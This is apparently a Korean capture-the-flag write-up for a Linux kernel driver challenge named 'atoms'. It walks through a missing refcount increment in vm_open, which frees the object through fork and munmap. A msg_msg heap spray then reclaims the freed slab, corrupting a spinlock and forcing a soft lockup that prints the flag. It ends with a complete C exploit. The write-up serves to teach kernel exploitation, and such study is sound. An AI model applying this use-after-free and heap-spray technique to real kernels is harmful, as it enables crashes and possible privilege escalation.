atoms

취약점 분석

1. vm_open의 참조 횟수 누락으로 인한 Use-After-Free

atoms_mmap은 atoms_mem_get()으로 atoms_mem의 참조 횟수를 증가시키고 이를 vm_private_data에 저장한다. VMA가 fork()로 복제될 때는 vm_ops->open()이 각 자식 VMA의 참조를 추가해야 하지만, vm_open은 아무 작업도 하지 않는다. 반면 VMA가 해제될 때 호출되는 vm_close는 항상 atoms_mem_put()을 호출한다.

static void vm_open(struct vm_area_struct *vma)
{
    // atoms_mem_get(vma->vm_private_data)가 없다.
}
 
static void vm_close(struct vm_area_struct *vma)
{
    atoms_mem_put(vma->vm_private_data);
}
 
static int atoms_mmap(struct file *file, struct vm_area_struct *vma)
{
    struct atoms_ctx *ctx = file->private_data;
 
    spin_lock(&ctx->lock);
    if (!ctx->mem) {
        spin_unlock(&ctx->lock);
        return -ENODEV;
    }
 
    vma->vm_ops = &atoms_vm_ops;
    vma->vm_private_data = atoms_mem_get(ctx->mem);
    spin_unlock(&ctx->lock);
    return 0;
}

새 객체의 참조 횟수는 풀과 파일 컨텍스트 때문에 2이고, mmap 이후에는 3이다. 이후 세 번 fork()하면 자식 VMA 세 개가 생기지만 참조 횟수는 증가하지 않는다. 각 자식에서 munmap()을 호출하면 참조 횟수가 3 -> 2 -> 1 -> 0으로 감소하여 atoms_mem이 해제된다. 부모의 파일 컨텍스트와 VMA에는 해제된 객체의 포인터가 그대로 남으므로 UAF가 발생한다.

2. 해제된 atoms_mem의 lock type confusion

atoms_mem은 크기가 0x110이고 lock은 오프셋 0xc에 있다. atoms_mem_alloc은 파일 컨텍스트가 가리키는 객체의 생존 여부를 다시 확인하지 않고 이 lock을 획득한다.

struct atoms_mem {
    uint64_t token;                  // 0x00
    refcount_t refcnt;               // 0x08
    spinlock_t lock;                 // 0x0c
    struct {
        void *ptr;
        uint64_t nr_pages;
    } slots[16];                     // 0x10
};                                   // 0x110
 
static int atoms_mem_alloc(struct atoms_mem *mem, uint64_t size,
                           uint64_t *offset)
{
    void *addr = vmalloc_user(size);
    if (!addr)
        return -ENOMEM;
 
    spin_lock(&mem->lock);
    // 빈 슬롯을 찾아 addr과 페이지 수를 기록한다.
    // ...
    spin_unlock(&mem->lock);
    return 0;
}

msg_msg의 헤더는 0x30 바이트다. 메시지 본문을 0xe0 바이트로 지정하면 전체 할당 크기가 0x110이 되어 해제된 atoms_mem과 같은 slab 객체를 재사용할 수 있다.

struct msg_msg {
    struct list_head m_list;     // 0x00: next, 0x08: prev
    long m_type;                 // 0x10
    size_t m_ts;                 // 0x18
    struct msg_msgseg *next;     // 0x20
    void *security;              // 0x28
};

UAF 포인터가 msg_msg를 가리키면 mem->lock 오프셋 0xc는 m_list.prev 포인터의 상위 4바이트와 겹친다. 이 값은 유효한 unlocked spinlock 값인 0이 아니다. 다시 ATOMS_ALLOC을 호출하면 _raw_spin_lock()이 이 값을 잠긴 lock으로 해석하여 무한 대기하고, 커널에 soft lockup이 발생한다.

패치된 watchdog은 soft lockup 메시지의 프로세스 이름 대신 FLAG를 출력한다.

pr_emerg("BUG: soft lockup - CPU#%d stuck for %us! [%s:%d]\n",
         smp_processor_id(), duration, FLAG, task_pid_nr(current));

Exploit 과정

Step 1: atom 객체와 VMA 생성

토큰으로 atoms_mem을 생성하고 0x1000 바이트 영역을 할당한다. 이어서 mmap()을 호출하여 atoms_mem을 참조하는 VMA를 만든다. 이 시점의 참조 횟수는 3이다.

uint64_t token = 0x11111111;
ioctl(fd, ATOMS_CREATE, token);
 
struct atom_alloc alloc = {
    .size = 0x1000,
    .offset = 0,
};
ioctl(fd, ATOMS_ALLOC, &alloc);
 
uint64_t map = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                    MAP_SHARED, fd, 0);

Step 2: 참조 횟수 불일치로 atoms_mem 해제

세 자식 프로세스를 만든 뒤 각 자식에서 매핑을 해제한다. vm_open이 참조 횟수를 올리지 않았으므로 세 번의 vm_close만 반영되어 객체가 해제된다. 부모의 파일 컨텍스트는 여전히 해제된 주소를 보유한다.

for (int i = 0; i < 3; i++) {
    if (fork() == 0) {
        munmap((void *)map, 0x1000);
        exit(0);
    }
}

Step 3: msg_msg로 해제된 객체 재할당

본문 크기가 0xe0인 메시지를 다수 생성한다. msg_msg 헤더를 포함한 할당 크기는 0x110이므로 해제된 atoms_mem 자리를 재사용한다.

int msgid[0x30];
struct msg_buf msg;
msg.mtype = 1;
memset(msg.mtext, 'A', sizeof(msg.mtext));
 
for (int i = 0; i < 0x30; i++) {
    msgid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
    msgsnd(msgid[i], &msg, sizeof(msg.mtext), 0);
}

Step 4: corrupted spinlock으로 soft lockup 유발

ATOMS_ALLOC을 다시 호출한다. 드라이버는 UAF 포인터의 오프셋 0xc, 즉 msg_msg.m_list.prev의 상위 4바이트를 spinlock으로 사용한다. 커널 스레드가 _raw_spin_lock()에서 빠져나오지 못하면 watchdog이 soft lockup을 감지하고 플래그를 출력한다.

ioctl(fd, ATOMS_ALLOC, &alloc);

Exploit Code

#define _GNU_SOURCE
 
#include "util/general.h"
#include "util/io_helpers.h"
#include <stdint.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/msg.h>
 
#define ATOMS_CREATE  0x4008d900
#define ATOMS_INFO    0x8018d901
#define ATOMS_ALLOC   0xc010d902
#define ATOMS_REMOVE  0x0000d903
 
struct atom_alloc{
    uint64_t size;
    uint64_t offset;
};
 
struct msg_buf {
    uint64_t mtype;
    char mtext[0x110-0x30];
};
 
int main()
{
    important("happy hacking!");
 
    pin_cpu(0);
 
    int fd = open("/dev/atoms", O_RDWR);
    info("/dev/atoms opened with fd: %d", fd);
 
    // create a new atom -> will make 0x110 kernel memory
    uint64_t token = 0x11111111;
    ioctl(fd, ATOMS_CREATE, token);
 
    // and alloc a new object -> will make 0x1000 user memory
    struct atom_alloc alloc;
    alloc.size = 0x1000;
    alloc.offset = 0;
    ioctl(fd, ATOMS_ALLOC, &alloc);
    info("created atom and alloc user memory");
 
    // mmap the kernel memory
    uint64_t map = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
    info("mmaped kernel memory at: %p", map);
 
    // fork 3 times and munmap 3 times to make refcnt 0 and free the kernel memory
    // but it will still be mapped in our process
    for(int i = 0; i < 3; i++){
        if(fork() == 0){
            munmap((void*)map, 0x1000);
            exit(0);
        }
    }
    info("forked 3 times and munmaped kernel memory 3 times");
 
    // msg_msg spray to allocate a msg_msg struct in the freed kernel memory
    int msgid[0x30];
    struct msg_buf msg;
    msg.mtype = 1;
    memset(msg.mtext, 'A', sizeof(msg.mtext));
    for(int i = 0; i < 0x30; i++){
        msgid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
        msgsnd(msgid[i], &msg, sizeof(msg.mtext), 0);
    }
    info("sprayed 0x30 msg_msg structs");
 
    // alloc a new atom -> will lead to currupted lock
    ioctl(fd, ATOMS_ALLOC, &alloc);
    info("allocated a new atoms to corrupt the lock");
 
    return 0;
}